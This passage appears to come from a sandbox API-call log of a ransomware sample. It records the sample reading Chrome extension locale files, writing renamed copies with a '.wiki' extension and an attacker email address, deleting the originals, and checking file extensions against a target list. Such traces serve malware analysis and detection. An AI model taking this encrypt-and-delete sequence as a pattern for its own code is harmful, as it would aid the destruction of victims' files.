Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sk\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sk\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0179.458] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0179.458] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0179.458] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sk\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sk\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0179.458] GetLastError () returned 0x0 [0179.458] ReadFile (in: hFile=0x198, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0x29f, lpOverlapped=0x0) returned 1 [0179.460] WriteFile (in: hFile=0x1a4, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0x2a0, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0x2a0, lpOverlapped=0x0) returned 1 [0179.461] ReadFile (in: hFile=0x198, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0179.461] WriteFile (in: hFile=0x1a4, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0xee, lpOverlapped=0x0) returned 1 [0179.461] SetEndOfFile (hFile=0x1a4) returned 1 [0179.461] CloseHandle (hObject=0x1a4) returned 1 [0179.461] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0179.461] SetEndOfFile (hFile=0x198) returned 1 [0179.462] CloseHandle (hObject=0x198) returned 1 [0179.462] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sk\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0179.463] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sk\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sk\\messages.json")) returned 1 [0179.463] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sk\\messages.json") returned 155 [0179.463] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sk\\messages.json") returned 155 [0179.463] lstrlenW (lpString=".doc") returned 4 [0179.463] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0179.463] lstrlenW (lpString=".docx") returned 5 [0179.463] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0179.463] lstrlenW (lpString=".pdf") returned 4 [0179.463] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0179.463] lstrlenW (lpString=".xls") returned 4 [0179.463] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0179.463] lstrlenW (lpString=".xlsx") returned 5 [0179.463] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0179.463] lstrlenW (lpString=".ppt") returned 4 [0179.463] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0179.463] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sk\\messages.json") returned 155 [0179.463] lstrlenW (lpString=".zip") returned 4 [0179.463] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0179.463] lstrlenW (lpString=".rar") returned 4 [0179.463] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0179.463] lstrlenW (lpString=".bz2") returned 4 [0179.463] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0179.463] lstrlenW (lpString=".7z") returned 3 [0179.463] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0179.463] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sk\\messages.json") returned 155 [0179.463] lstrlenW (lpString=".dbf") returned 4 [0179.464] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0179.464] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sk\\messages.json") returned 155 [0179.464] lstrlenW (lpString=".1cd") returned 4 [0179.464] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0179.464] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sk\\messages.json") returned 155 [0179.464] lstrlenW (lpString=".jpg") returned 4 [0179.464] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0179.464] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sk\\messages.json") returned 155 [0179.464] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sk\\messages.json") returned 155 [0179.464] lstrlenW (lpString=".doc") returned 4 [0179.464] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0179.464] lstrlenW (lpString=".docx") returned 5 [0179.464] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0179.464] lstrlenW (lpString=".pdf") returned 4 [0179.464] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0179.464] lstrlenW (lpString=".xls") returned 4 [0179.464] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0179.464] lstrlenW (lpString=".xlsx") returned 5 [0179.464] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0179.464] lstrlenW (lpString=".ppt") returned 4 [0179.464] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0179.464] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sk\\messages.json") returned 155 [0179.464] lstrlenW (lpString=".zip") returned 4 [0179.464] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0179.464] lstrlenW (lpString=".rar") returned 4 [0179.464] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0179.464] lstrlenW (lpString=".bz2") returned 4 [0179.464] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0179.464] lstrlenW (lpString=".7z") returned 3 [0179.464] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0179.465] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sk\\messages.json") returned 155 [0179.465] lstrlenW (lpString=".dbf") returned 4 [0179.465] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0179.465] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sk\\messages.json") returned 155 [0179.465] lstrlenW (lpString=".1cd") returned 4 [0179.465] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0179.465] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sk\\messages.json") returned 155 [0179.465] lstrlenW (lpString=".jpg") returned 4 [0179.465] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0179.465] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0179.465] lstrlenW (lpString="messages.json") returned 13 [0179.465] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sl\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0179.465] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=642) returned 1 [0179.465] CloseHandle (hObject=0x198) returned 1 [0179.466] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sl\\messages.json")) returned 0x2020 [0179.466] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sl\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sl\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0179.466] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sl\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0179.466] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0179.466] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0179.466] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sl\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sl\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0179.466] GetLastError () returned 0x0 [0179.466] ReadFile (in: hFile=0x198, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0x282, lpOverlapped=0x0) returned 1 [0179.468] WriteFile (in: hFile=0x1a4, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0x290, lpOverlapped=0x0) returned 1 [0179.469] ReadFile (in: hFile=0x198, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0179.469] WriteFile (in: hFile=0x1a4, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0xee, lpOverlapped=0x0) returned 1 [0179.469] SetEndOfFile (hFile=0x1a4) returned 1 [0179.469] CloseHandle (hObject=0x1a4) returned 1 [0179.469] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0179.469] SetEndOfFile (hFile=0x198) returned 1 [0179.470] CloseHandle (hObject=0x198) returned 1 [0179.470] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sl\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0179.470] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sl\\messages.json")) returned 1 [0179.470] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sl\\messages.json") returned 155 [0179.470] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sl\\messages.json") returned 155 [0179.470] lstrlenW (lpString=".doc") returned 4 [0179.470] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0179.470] lstrlenW (lpString=".docx") returned 5 [0179.470] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0179.470] lstrlenW (lpString=".pdf") returned 4 [0179.470] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0179.470] lstrlenW (lpString=".xls") returned 4 [0179.470] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0179.470] lstrlenW (lpString=".xlsx") returned 5 [0179.471] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0179.471] lstrlenW (lpString=".ppt") returned 4 [0179.471] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0179.471] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sl\\messages.json") returned 155 [0179.471] lstrlenW (lpString=".zip") returned 4 [0179.471] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0179.471] lstrlenW (lpString=".rar") returned 4 [0179.471] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0179.471] lstrlenW (lpString=".bz2") returned 4 [0179.471] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0179.471] lstrlenW (lpString=".7z") returned 3 [0179.471] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0179.471] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sl\\messages.json") returned 155 [0179.471] lstrlenW (lpString=".dbf") returned 4 [0179.471] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0179.471] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sl\\messages.json") returned 155 [0179.471] lstrlenW (lpString=".1cd") returned 4 [0179.471] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0179.471] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sl\\messages.json") returned 155 [0179.471] lstrlenW (lpString=".jpg") returned 4 [0179.471] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0179.471] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sl\\messages.json") returned 155 [0179.471] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sl\\messages.json") returned 155 [0179.471] lstrlenW (lpString=".doc") returned 4 [0179.471] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0179.471] lstrlenW (lpString=".docx") returned 5 [0179.471] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0179.471] lstrlenW (lpString=".pdf") returned 4 [0179.471] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0179.471] lstrlenW (lpString=".xls") returned 4 [0179.471] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0179.472] lstrlenW (lpString=".xlsx") returned 5 [0179.472] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0179.472] lstrlenW (lpString=".ppt") returned 4 [0179.472] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0179.472] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sl\\messages.json") returned 155 [0179.472] lstrlenW (lpString=".zip") returned 4 [0179.472] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0179.472] lstrlenW (lpString=".rar") returned 4 [0179.472] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0179.472] lstrlenW (lpString=".bz2") returned 4 [0179.472] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0179.472] lstrlenW (lpString=".7z") returned 3 [0179.472] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0179.472] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sl\\messages.json") returned 155 [0179.472] lstrlenW (lpString=".dbf") returned 4 [0179.472] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0179.472] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sl\\messages.json") returned 155 [0179.472] lstrlenW (lpString=".1cd") returned 4 [0179.472] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0179.472] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sl\\messages.json") returned 155 [0179.472] lstrlenW (lpString=".jpg") returned 4 [0179.472] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0179.472] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0179.472] lstrlenW (lpString="messages.json") returned 13 [0179.472] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sr\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0179.473] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=812) returned 1 [0179.473] CloseHandle (hObject=0x198) returned 1 [0179.473] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sr\\messages.json")) returned 0x2020 [0179.473] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sr\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sr\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0179.473] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0179.473] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0179.473] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0179.473] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sr\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sr\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0179.474] GetLastError () returned 0x0 [0179.474] ReadFile (in: hFile=0x198, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0x32c, lpOverlapped=0x0) returned 1 [0179.475] WriteFile (in: hFile=0x1a4, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0x330, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0x330, lpOverlapped=0x0) returned 1 [0179.476] ReadFile (in: hFile=0x198, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0179.476] WriteFile (in: hFile=0x1a4, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0xee, lpOverlapped=0x0) returned 1 [0179.476] SetEndOfFile (hFile=0x1a4) returned 1 [0179.476] CloseHandle (hObject=0x1a4) returned 1 [0179.476] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0179.476] SetEndOfFile (hFile=0x198) returned 1 [0179.477] CloseHandle (hObject=0x198) returned 1 [0179.477] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sr\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0179.477] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user 